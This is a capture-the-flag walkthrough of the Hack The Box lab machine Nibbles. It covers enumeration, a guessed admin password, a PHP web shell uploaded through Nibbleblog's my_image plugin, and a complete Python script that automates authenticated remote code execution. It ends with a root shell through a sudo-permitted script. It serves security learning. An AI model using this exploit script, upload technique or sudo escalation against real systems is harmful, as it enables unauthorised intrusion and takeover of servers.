This post is a walkthrough of the Hack The Box room Nibbles


Intro


Nibbles is a fairly simple machine, however with the inclusion of a login blacklist, it is a fair bit more challenging to find valid credentials. Luckily, a username can be enumerated and guessing the correct password does not take long for most.


Enumeration

NMAP Scan

sudo nmap -sVC -T4 -p- -vv -oA nmap/alltcp-ports 10.129.202.224 --open

Discovered Ports

Discovered open port 80/tcp on 10.129.202.224
Discovered open port 22/tcp on 10.129.202.224

Below we can see the web server is running on a Ubuntu 2.2 Server and using Apache 2.4.18 as the backend for the webserver.

NMAP Enum

Port 80 (http)

We can ignore port 22 (ssh) for now and come back later if we find credentials.

Starting with port 80 browsing the page we are only presented with a ‘Hello World!’ message and nothing more.

Port 80

It’s good practice to view the source code of the pages we visit to be thorough. In the source code there is a comment that is giving us a hint of where to go next.

View Source Code

If you search for ‘Nibbleblog’ in Searchsploit you will find a ready made exploit that will get you a reverse shell fairly easily, but what do you learn from that! What I am doing below is the same thing, done manually at first and then building my own exploit to automate the process for RCE.

Let’s follow the hint and browse to http://10.129.202.224/nibbleblog/ and continue our enumeration.

Nibbles Home Page

You will see, on the right side of the page a few categories and especially ‘MY IMAGE". This looks like an image should be here! Looking at the source code for this page, we can see in the source of where the images should be located.

http://10.129.202.224/nibbleblog/content/private/plugins/my_image/

Main Source

Browsing to this link doesn’t show any images but it reveals a directory / Path traversal vulnerability. Which we would include in an real Pentest report.

Path Traversal

If you keep following the ‘Parent Directory’, you will find a config.xml file under http://10.129.202.224/nibbleblog/content/private/. Looking at the contents of this file we find what looks like the username. Since there is a username there must be a logon page?

Config

Config Content

Directory Enumeration

We know we have path traversal and there should be a login page, so to speed the enumeration up we run ‘Gobuster’

gobuster dir -u http://10.129.202.224/nibbleblog/ --wordlist /usr/share/dirb/wordlists/common.txt

Dirbuster

Gobuster finishes quickly and we can see there is an admin.php file found in the root of the web server. Naturally we browse to this to see what content is displayed.

Admin Page

Admin Page

Now getting logged in was trivial. All I did was guess the password, which was ‘Nibbles’. In the config.xml file was saw above we saw strings using Nibbles, so I just tried this as a password and it worked.

Dashboard

After logging in, I notice a ‘Plugins’ link on the left side of the page. Given that we previously observed a reference to the ‘my_image’ plugin in the source code, I decide to explore this link first. Clicking on it reveals an option to upload an image, which could potentially allow us to upload a malicious file if proper sanitization is not enforced.

Image Upload

Click ‘configure’ under ‘My image’. Now we have the option to browse for a file to upload. Since the site runs Apache and PHP, we should try and upload a php that will try to execute commands on the server.

Create a file called ‘id.php’ with <?php system('id'); ?> as the contents. Now upload this file.

<?php system('id'); ?>

Upload File

Remote Code Execution (RCE)

Now, to see if our upload worked and to confirm we have remote code execution, browse to the my_image uri we saw earlier http://10.129.202.224/nibbleblog/content/private/plugins/my_image/. Now we can see ‘image.php’ exists where it didn’t before. Click the ‘image.php’ to execute the id command. If all went as expected you will see the following.

RCE

The id command was successfully run on the target server and we see the user is ’nibbler’. Now we know we have RCE you could edit the original ‘id.php’ file and enter a reverse shell call back to our attacker machine, which is what I originally did when completing this box. This time I wanted to make this more automated by creating my own RCE Python3 script.

Automate RCE

The following code can be found on my Github page: Here, along with usage instructions.

import argparse
import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder
from colorama import Fore, Style, init
import random

def print_banner():
    colors = [Fore.RED, Fore.GREEN, Fore.YELLOW, Fore.BLUE, Fore.MAGENTA, Fore.CYAN]
    banner_color = random.choice(colors)
    print(banner_color + """
β–ˆβ–ˆβ–ˆβ•—   β–ˆβ–ˆβ•—β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•—     β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—             β–ˆβ–ˆβ•—   β–ˆβ–ˆβ•—β–ˆβ–ˆβ•—   β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ•—   β–ˆβ–ˆβ–ˆβ•—    β–ˆβ–ˆβ•—   β–ˆβ–ˆβ•—β–ˆβ–ˆβ•—   β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ•—   β–ˆβ–ˆβ–ˆβ•—
β–ˆβ–ˆβ–ˆβ–ˆβ•—  β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘     β–ˆβ–ˆβ•”β•β•β•β•β•β–ˆβ–ˆβ•”β•β•β•β•β•             β•šβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ•‘    β•šβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ•‘
β–ˆβ–ˆβ•”β–ˆβ–ˆβ•— β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘     β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—  β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—              β•šβ–ˆβ–ˆβ–ˆβ–ˆβ•”β• β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β–ˆβ–ˆβ–ˆβ–ˆβ•”β–ˆβ–ˆβ•‘     β•šβ–ˆβ–ˆβ–ˆβ–ˆβ•”β• β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β–ˆβ–ˆβ–ˆβ–ˆβ•”β–ˆβ–ˆβ•‘
β–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘     β–ˆβ–ˆβ•”β•β•β•  β•šβ•β•β•β•β–ˆβ–ˆβ•‘               β•šβ–ˆβ–ˆβ•”β•  β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘      β•šβ–ˆβ–ˆβ•”β•  β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘
β–ˆβ–ˆβ•‘ β•šβ–ˆβ–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ•—β–ˆβ–ˆβ•—β–ˆβ–ˆβ•—       β–ˆβ–ˆβ•‘   β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘ β•šβ•β• β–ˆβ–ˆβ•‘       β–ˆβ–ˆβ•‘   β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘ β•šβ•β• β–ˆβ–ˆβ•‘
β•šβ•β•  β•šβ•β•β•β•β•šβ•β•β•šβ•β•β•β•β•β• β•šβ•β•β•β•β•β• β•šβ•β•β•β•β•β•β•β•šβ•β•β•β•β•β•β•β•šβ•β•β•β•β•β•β•β•šβ•β•β•šβ•β•β•šβ•β•       β•šβ•β•    β•šβ•β•β•β•β•β• β•šβ•β•     β•šβ•β•       β•šβ•β•    β•šβ•β•β•β•β•β• β•šβ•β•     β•šβ•β•

Created By: H088yHaX0R / (HTB - AKA: Marz0)

""" + Style.RESET_ALL)

def login(session, ip, port, username, password):
    url = f"http://{ip}:{port}/nibbleblog/admin.php"
    data = {
        'username': username,
        'password': password
    }
    headers = {
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
        'Accept-Language': 'en-US,en;q=0.5',
        'Accept-Encoding': 'gzip, deflate',
        'Content-Type': 'application/x-www-form-urlencoded',
        'Origin': f'http://{ip}:{port}',
        'Connection': 'keep-alive',
        'Referer': url,
        'Upgrade-Insecure-Requests': '1'
    }
    response = session.post(url, headers=headers, data=data)
    return "nibbleblog - Dashboard" in response.text

def upload_file(session, ip, port, command):
    url = f"http://{ip}:{port}/nibbleblog/admin.php?controller=plugins&action=config&plugin=my_image"
    escaped_command = command.replace("'", "\\'")
    php_code = f"<?php system('{escaped_command}'); ?>"
    m = MultipartEncoder(
        fields={
            'plugin': 'my_image',
            'title': 'My image',
            'position': '4',
            'caption': '',
            'image': ('id.php', php_code, 'application/x-php'),
            'image_resize': '1',
            'image_width': '230',
            'image_height': '200',
            'image_option': 'auto'
        },
        boundary='---------------------------26400341973157864459123969455'
    )

    headers = {
        'Content-Type': m.content_type,
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
        'Referer': url
    }

    response = session.post(url, headers=headers, data=m)
    return "<b>Warning</b>:" in response.text

def fetch_image_php(session, ip, port):
    url = f"http://{ip}:{port}/nibbleblog/content/private/plugins/my_image/image.php"
    response = session.get(url)
    print("[+] Response from image.php:"+"\n\n", response.text)

def main():
    init(autoreset=True)  # Initialize colorama to automatically reset styling after each print statement
    print_banner()  # Print the banner with a random color

    parser = argparse.ArgumentParser(description="Upload PHP code to Nibbleblog and execute it.")
    parser.add_argument('-i', '--ip', required=True, help="The IP address of the server")
    parser.add_argument('-p', '--port', type=int, default=80, help="The port number for the server, default is 80")
    parser.add_argument('-c', '--command', required=True, help="The command to execute in the PHP system function")
    parser.add_argument('-u', '--username', default='admin', help="Username for login")
    parser.add_argument('-pwd', '--password', default='nibbles', help="Password for login")

    args = parser.parse_args()

    session = requests.Session()
    try:
        if login(session, args.ip, args.port, args.username, args.password):
            print("Logged in successfully.")
            if upload_file(session, args.ip, args.port, args.command):
                print("[+] PHP code uploaded successfully! Executing command or your revshell. You can ctrl+c to exit now.")
                fetch_image_php(session, args.ip, args.port)
            else:
                print("[-] Failed to upload PHP code or the expected warning was not found in the response.")
        else:
            print("[-] Failed to log in.")
    except KeyboardInterrupt:
        print("[!] User exited the script")

if __name__ == "__main__":
    main()

Reading Files Remotely

Below screenshot shows the script usage for reading /etc/passwd

Read Passwd

This next screenshot triggers a reverse shell back to my attack machine where I have ‘pwncat-cs` listening on port 9001.

Rev Shell

Getting a Foothold

The user.txt flag can now be found in /home/nibbler/user.txt, to submit to Hack The Box.

Now we have our foothold on the box as user Nibbler, it is time to enumerate and see if we can escalate our privileges. Starting with the command sudo -l to see if the user Nibbler can execute anything as another user or even root user. Luckily, we can run the following with root permissions: /home/nibbler/personal/stuff/monitor.sh

SUDO PERMS

There are two things you could do here and both work just the same.

  1. Now if you list the contents of /home/nibbler/ you will see a zip file called ‘personal.zip’, you could just extract this to the current folder, which then create /home/nibbler/personal/stuff/monitor.sh. Since we own this home folder and all subfolder we can edit the monitor.sh file and make it execute a simple bash -i to give us a root shell once we run sudo /home/nibbler/personal/stuff/monitor.sh

  2. Simply create the folders and ‘monitor.sh file manually:

mkdir -p personal/stuff
cd personal/stuff
echo 'bash -i' > monitor.sh
chmod +x monitor.sh
sudo /home/nibbler/personal/stuff/monitor.sh`

Privilege Escalation

Both ways above result with us getting root access on the box:

Root

cat root.txt
de5e5d6619862a8aa5b9b212314e0cdd

And that’s the box completed πŸ† ☠️